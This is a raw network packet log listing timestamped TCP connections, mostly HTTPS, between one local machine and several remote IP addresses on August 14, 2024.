Aug 14, 2024 04:14:44.454289913 CEST	49746	443	192.168.2.4	104.17.25.14
Aug 14, 2024 04:14:44.454303980 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.497474909 CEST	49746	443	192.168.2.4	104.17.25.14
Aug 14, 2024 04:14:44.539885044 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.539968967 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.540039062 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.540108919 CEST	49746	443	192.168.2.4	104.17.25.14
Aug 14, 2024 04:14:44.540169954 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.540232897 CEST	49746	443	192.168.2.4	104.17.25.14
Aug 14, 2024 04:14:44.540246010 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.540601969 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.540741920 CEST	49746	443	192.168.2.4	104.17.25.14
Aug 14, 2024 04:14:44.540754080 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.541112900 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.541173935 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.541176081 CEST	49746	443	192.168.2.4	104.17.25.14
Aug 14, 2024 04:14:44.541189909 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.541246891 CEST	49746	443	192.168.2.4	104.17.25.14
Aug 14, 2024 04:14:44.541258097 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.541964054 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.541980028 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.542021036 CEST	49746	443	192.168.2.4	104.17.25.14
Aug 14, 2024 04:14:44.542032957 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.542097092 CEST	49746	443	192.168.2.4	104.17.25.14
Aug 14, 2024 04:14:44.542109966 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.542136908 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.542154074 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.542182922 CEST	49746	443	192.168.2.4	104.17.25.14
Aug 14, 2024 04:14:44.542196989 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.542351007 CEST	49746	443	192.168.2.4	104.17.25.14
Aug 14, 2024 04:14:44.542784929 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.542917013 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.542932987 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.542968035 CEST	49746	443	192.168.2.4	104.17.25.14
Aug 14, 2024 04:14:44.542980909 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.543076992 CEST	49746	443	192.168.2.4	104.17.25.14
Aug 14, 2024 04:14:44.585963011 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.586293936 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.586524010 CEST	49746	443	192.168.2.4	104.17.25.14
Aug 14, 2024 04:14:44.591471910 CEST	49746	443	192.168.2.4	104.17.25.14
Aug 14, 2024 04:14:44.591511011 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.646681070 CEST	49749	443	192.168.2.4	104.17.24.14
Aug 14, 2024 04:14:44.646780014 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:44.647069931 CEST	49749	443	192.168.2.4	104.17.24.14
Aug 14, 2024 04:14:44.647408962 CEST	49749	443	192.168.2.4	104.17.24.14
Aug 14, 2024 04:14:44.647447109 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:44.878916979 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:44.897886038 CEST	49748	443	192.168.2.4	104.18.94.41
Aug 14, 2024 04:14:44.897927046 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:44.898410082 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:44.943164110 CEST	49748	443	192.168.2.4	104.18.94.41
Aug 14, 2024 04:14:44.953083992 CEST	49748	443	192.168.2.4	104.18.94.41
Aug 14, 2024 04:14:44.953181028 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:44.953387976 CEST	49748	443	192.168.2.4	104.18.94.41
Aug 14, 2024 04:14:44.996545076 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:45.072860956 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:45.072990894 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:45.073055029 CEST	49748	443	192.168.2.4	104.18.94.41
Aug 14, 2024 04:14:45.073090076 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:45.073241949 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:45.073308945 CEST	49748	443	192.168.2.4	104.18.94.41
Aug 14, 2024 04:14:45.073323011 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:45.073410034 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:45.073462963 CEST	49748	443	192.168.2.4	104.18.94.41
Aug 14, 2024 04:14:45.073473930 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:45.073558092 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:45.073637009 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:45.073698997 CEST	49748	443	192.168.2.4	104.18.94.41
Aug 14, 2024 04:14:45.073713064 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:45.073762894 CEST	49748	443	192.168.2.4	104.18.94.41
Aug 14, 2024 04:14:45.073774099 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:45.077501059 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:45.077569008 CEST	49748	443	192.168.2.4	104.18.94.41
Aug 14, 2024 04:14:45.077581882 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:45.105688095 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.106192112 CEST	49749	443	192.168.2.4	104.17.24.14
Aug 14, 2024 04:14:45.106247902 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.107110023 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.107168913 CEST	49749	443	192.168.2.4	104.17.24.14
Aug 14, 2024 04:14:45.107589960 CEST	49749	443	192.168.2.4	104.17.24.14
Aug 14, 2024 04:14:45.107656002 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.107742071 CEST	49749	443	192.168.2.4	104.17.24.14
Aug 14, 2024 04:14:45.107757092 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.121998072 CEST	49748	443	192.168.2.4	104.18.94.41
Aug 14, 2024 04:14:45.153680086 CEST	49749	443	192.168.2.4	104.17.24.14
Aug 14, 2024 04:14:45.158802032 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:45.159105062 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:45.159188986 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:45.159260988 CEST	49748	443	192.168.2.4	104.18.94.41
Aug 14, 2024 04:14:45.159276962 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:45.159334898 CEST	49748	443	192.168.2.4	104.18.94.41
Aug 14, 2024 04:14:45.159346104 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:45.159456015 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:45.159540892 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:45.159557104 CEST	49748	443	192.168.2.4	104.18.94.41
Aug 14, 2024 04:14:45.159570932 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:45.159636974 CEST	49748	443	192.168.2.4	104.18.94.41
Aug 14, 2024 04:14:45.159946918 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:45.160140991 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:45.160204887 CEST	49748	443	192.168.2.4	104.18.94.41
Aug 14, 2024 04:14:45.160216093 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:45.160315037 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:45.160396099 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:45.160454988 CEST	49748	443	192.168.2.4	104.18.94.41
Aug 14, 2024 04:14:45.160468102 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:45.160851955 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:45.160857916 CEST	49748	443	192.168.2.4	104.18.94.41
Aug 14, 2024 04:14:45.160880089 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:45.161015987 CEST	49748	443	192.168.2.4	104.18.94.41
Aug 14, 2024 04:14:45.161029100 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:45.161139011 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:45.161195993 CEST	49748	443	192.168.2.4	104.18.94.41
Aug 14, 2024 04:14:45.161206961 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:45.161726952 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:45.161786079 CEST	49748	443	192.168.2.4	104.18.94.41
Aug 14, 2024 04:14:45.161798000 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:45.161926031 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:45.162070036 CEST	49748	443	192.168.2.4	104.18.94.41
Aug 14, 2024 04:14:45.162245989 CEST	49748	443	192.168.2.4	104.18.94.41
Aug 14, 2024 04:14:45.162271023 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:45.240628958 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.240658998 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.240689993 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.240716934 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.240731955 CEST	49749	443	192.168.2.4	104.17.24.14
Aug 14, 2024 04:14:45.240737915 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.240770102 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.240806103 CEST	49749	443	192.168.2.4	104.17.24.14
Aug 14, 2024 04:14:45.240964890 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.240988970 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.241039038 CEST	49749	443	192.168.2.4	104.17.24.14
Aug 14, 2024 04:14:45.241039038 CEST	49749	443	192.168.2.4	104.17.24.14
Aug 14, 2024 04:14:45.241060019 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.241514921 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.241544008 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.241666079 CEST	49749	443	192.168.2.4	104.17.24.14
Aug 14, 2024 04:14:45.241683006 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.241878986 CEST	49749	443	192.168.2.4	104.17.24.14
Aug 14, 2024 04:14:45.245502949 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.300540924 CEST	49749	443	192.168.2.4	104.17.24.14
Aug 14, 2024 04:14:45.331871986 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.332043886 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.332160950 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.332176924 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.332216978 CEST	49749	443	192.168.2.4	104.17.24.14
Aug 14, 2024 04:14:45.332242966 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.332284927 CEST	49749	443	192.168.2.4	104.17.24.14
Aug 14, 2024 04:14:45.332376957 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.332393885 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.332426071 CEST	49749	443	192.168.2.4	104.17.24.14
Aug 14, 2024 04:14:45.332442045 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.332518101 CEST	49749	443	192.168.2.4	104.17.24.14
Aug 14, 2024 04:14:45.332597017 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.332624912 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.332684040 CEST	49749	443	192.168.2.4	104.17.24.14
Aug 14, 2024 04:14:45.332698107 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.333132982 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.333153009 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.333169937 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.333189964 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.333203077 CEST	49749	443	192.168.2.4	104.17.24.14
Aug 14, 2024 04:14:45.333224058 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.333250046 CEST	49749	443	192.168.2.4	104.17.24.14
Aug 14, 2024 04:14:45.333266973 CEST	49749	443	192.168.2.4	104.17.24.14
Aug 14, 2024 04:14:45.334229946 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.334316969 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.334455013 CEST	49749	443	192.168.2.4	104.17.24.14
Aug 14, 2024 04:14:45.334467888 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.380822897 CEST	49749	443	192.168.2.4	104.17.24.14
Aug 14, 2024 04:14:45.380836964 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.418514013 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.418535948 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.418576002 CEST	49749	443	192.168.2.4	104.17.24.14
Aug 14, 2024 04:14:45.418595076 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.418637991 CEST	49749	443	192.168.2.4	104.17.24.14
Aug 14, 2024 04:14:45.418653011 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.418713093 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.418775082 CEST	49749	443	192.168.2.4	104.17.24.14
Aug 14, 2024 04:14:45.418989897 CEST	49749	443	192.168.2.4	104.17.24.14
Aug 14, 2024 04:14:45.419034958 CEST	443	49749	104.17.24.14	192.168.2.4
Aug 14, 2024 04:14:45.931749105 CEST	443	49739	142.250.184.228	192.168.2.4
Aug 14, 2024 04:14:45.931881905 CEST	443	49739	142.250.184.228	192.168.2.4
Aug 14, 2024 04:14:45.932141066 CEST	49739	443	192.168.2.4	142.250.184.228
Aug 14, 2024 04:14:46.290158987 CEST	49739	443	192.168.2.4	142.250.184.228
Aug 14, 2024 04:14:46.290239096 CEST	443	49739	142.250.184.228	192.168.2.4
Aug 14, 2024 04:14:46.402290106 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:46.402359962 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:46.402544975 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:46.402970076 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:46.403004885 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:46.421917915 CEST	49751	443	192.168.2.4	104.18.95.41
Aug 14, 2024 04:14:46.422004938 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:46.422089100 CEST	49751	443	192.168.2.4	104.18.95.41
Aug 14, 2024 04:14:46.422513008 CEST	49751	443	192.168.2.4	104.18.95.41
Aug 14, 2024 04:14:46.422559977 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:46.881556988 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:46.883351088 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:46.906656027 CEST	49751	443	192.168.2.4	104.18.95.41
Aug 14, 2024 04:14:46.906721115 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:46.907649040 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:46.907727003 CEST	49751	443	192.168.2.4	104.18.95.41
Aug 14, 2024 04:14:46.913461924 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:46.913520098 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:46.917231083 CEST	49751	443	192.168.2.4	104.18.95.41
Aug 14, 2024 04:14:46.917342901 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:46.917355061 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:46.917376041 CEST	49751	443	192.168.2.4	104.18.95.41
Aug 14, 2024 04:14:46.917439938 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:46.960547924 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:46.970736980 CEST	49751	443	192.168.2.4	104.18.95.41
Aug 14, 2024 04:14:46.970773935 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.020880938 CEST	49751	443	192.168.2.4	104.18.95.41
Aug 14, 2024 04:14:47.031791925 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.031825066 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.031847000 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.031871080 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.031879902 CEST	49751	443	192.168.2.4	104.18.95.41
Aug 14, 2024 04:14:47.031914949 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.031941891 CEST	49751	443	192.168.2.4	104.18.95.41
Aug 14, 2024 04:14:47.031961918 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.032011032 CEST	49751	443	192.168.2.4	104.18.95.41
Aug 14, 2024 04:14:47.032027960 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.032321930 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.032432079 CEST	49751	443	192.168.2.4	104.18.95.41
Aug 14, 2024 04:14:47.032444954 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.032516003 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.032562971 CEST	49751	443	192.168.2.4	104.18.95.41
Aug 14, 2024 04:14:47.032591105 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.036772966 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.036830902 CEST	49751	443	192.168.2.4	104.18.95.41
Aug 14, 2024 04:14:47.036851883 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.082734108 CEST	49751	443	192.168.2.4	104.18.95.41
Aug 14, 2024 04:14:47.120429993 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.120457888 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.120522976 CEST	49751	443	192.168.2.4	104.18.95.41
Aug 14, 2024 04:14:47.120543957 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.120637894 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.120660067 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.120685101 CEST	49751	443	192.168.2.4	104.18.95.41
Aug 14, 2024 04:14:47.120702028 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.120861053 CEST	49751	443	192.168.2.4	104.18.95.41
Aug 14, 2024 04:14:47.120873928 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.120925903 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.121088028 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.121095896 CEST	49751	443	192.168.2.4	104.18.95.41
Aug 14, 2024 04:14:47.121112108 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.121150970 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.121171951 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.121205091 CEST	49751	443	192.168.2.4	104.18.95.41
Aug 14, 2024 04:14:47.121226072 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.121248007 CEST	49751	443	192.168.2.4	104.18.95.41
Aug 14, 2024 04:14:47.121792078 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.121845007 CEST	49751	443	192.168.2.4	104.18.95.41
Aug 14, 2024 04:14:47.121857882 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.122001886 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.122020960 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.122045040 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.122066975 CEST	49751	443	192.168.2.4	104.18.95.41
Aug 14, 2024 04:14:47.122081995 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.122131109 CEST	49751	443	192.168.2.4	104.18.95.41
Aug 14, 2024 04:14:47.122638941 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.122667074 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.122693062 CEST	49751	443	192.168.2.4	104.18.95.41
Aug 14, 2024 04:14:47.122721910 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.122737885 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.122798920 CEST	49751	443	192.168.2.4	104.18.95.41
Aug 14, 2024 04:14:47.122931004 CEST	49751	443	192.168.2.4	104.18.95.41
Aug 14, 2024 04:14:47.122965097 CEST	443	49751	104.18.95.41	192.168.2.4
Aug 14, 2024 04:14:47.357001066 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:47.357305050 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:47.358815908 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:47.358843088 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:47.405850887 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:48.764595985 CEST	49723	80	192.168.2.4	93.184.221.240
Aug 14, 2024 04:14:48.770318031 CEST	80	49723	93.184.221.240	192.168.2.4
Aug 14, 2024 04:14:48.770442009 CEST	49723	80	192.168.2.4	93.184.221.240
Aug 14, 2024 04:14:49.206300974 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.206438065 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.206542969 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.206542969 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.206571102 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.206618071 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.206662893 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.206811905 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.206861973 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.206872940 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.206964970 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.207046032 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.207096100 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.207103968 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.207156897 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.207161903 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.247462034 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.247477055 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.293725014 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.294550896 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.294717073 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.294780016 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.294795036 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.294873953 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.294981003 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.294986963 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.295012951 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.295072079 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.295101881 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.295245886 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.295303106 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.295315027 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.295619011 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.295696974 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.295701027 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.295722008 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.295775890 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.295798063 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.296454906 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.296521902 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.296534061 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.296614885 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.296726942 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.296739101 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.296852112 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.296911955 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.296924114 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.297616959 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.297687054 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.297698975 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.297811985 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.297863007 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.297874928 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.298290014 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.298340082 CEST	49750	443	192.168.2.4	172.67.194.21
Aug 14, 2024 04:14:49.298367023 CEST	443	49750	172.67.194.21	192.168.2.4
Aug 14, 2024 04:14:49.339147091 CEST	49750	443	192.168.2.4	172.67.194.21
